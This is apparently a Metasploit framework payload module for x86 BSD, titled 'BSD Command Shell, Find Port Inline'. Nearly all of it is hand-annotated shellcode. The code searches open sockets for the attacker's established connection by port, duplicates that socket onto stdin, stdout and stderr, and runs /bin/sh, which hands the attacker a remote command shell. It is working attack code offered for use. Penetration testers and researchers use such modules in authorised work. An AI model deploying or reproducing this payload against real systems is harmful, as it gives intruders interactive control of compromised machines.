##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
  CachedSize = 60

  include Msf::Payload::Single
  include Msf::Payload::Bsd
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'BSD Command Shell, Find Port Inline',
        'Description' => 'Spawn a shell on an established connection',
        'Author' => 'Ramon de C Valle',
        'License' => MSF_LICENSE,
        'Platform' => 'bsd',
        'Arch' => ARCH_X86,
        'Handler' => Msf::Handler::FindPort,
        'Session' => Msf::Sessions::CommandShellUnix,
        'Payload' => {
          'Offsets' =>
                  {
                    'CPORT' => [ 25, 'n' ]
                  },
          'Payload' =>
                       "\x31\xc0" + #   xorl    %eax,%eax                  #
                       "\x50" + #   pushl   %eax                       #
                       "\x89\xe7" + #   movl    %esp,%edi                  #
                       "\x6a\x10" + #   pushl   $0x10                      #
                       "\x54" + #   pushl   %esp                       #
                       "\x57" + #   pushl   %edi                       #
                       "\x50" + #   pushl   %eax                       #
                       "\x50" + #   pushl   %eax                       #
                       "\x58" + #   popl    %eax                       #
                       "\x58" + #   popl    %eax                       #
                       "\x40" + #   incl    %eax                       #
                       "\x50" + #   pushl   %eax                       #
                       "\x50" + #   pushl   %eax                       #
                       "\x6a\x1f" + #   pushl   $0x1f                      #
                       "\x58" + #   popl    %eax                       #
                       "\xcd\x80" + #   int     $0x80                      #
                       "\x66\x81\x7f\x02\x04\xd2"+ #   cmpw    $0xd204,0x02(%edi)         #
                       "\x75\xee" + #   jne     <fndsockcode+11>           #
                       "\x50" + #   pushl   %eax                       #
                       "\x6a\x5a" + #   pushl   $0x5a                      #
                       "\x58" + #   popl    %eax                       #
                       "\xcd\x80" + #   int     $0x80                      #
                       "\xff\x4f\xf0" + #   decl    -0x10(%edi)                #
                       "\x79\xf6" + #   jns     <fndsockcode+30>           #
                       "\x68\x2f\x2f\x73\x68" + #   pushl   $0x68732f2f                #
                       "\x68\x2f\x62\x69\x6e" + #   pushl   $0x6e69622f                #
                       "\x89\xe3" + #   movl    %esp,%ebx                  #
                       "\x50" + #   pushl   %eax                       #
                       "\x54" + #   pushl   %esp                       #
                       "\x53" + #   pushl   %ebx                       #
                       "\x50" + #   pushl   %eax                       #
                       "\xb0\x3b" + #   movb    $0x3b,%al                  #
                       "\xcd\x80" #   int     $0x80                      #
        }
      )
    )
  end
end
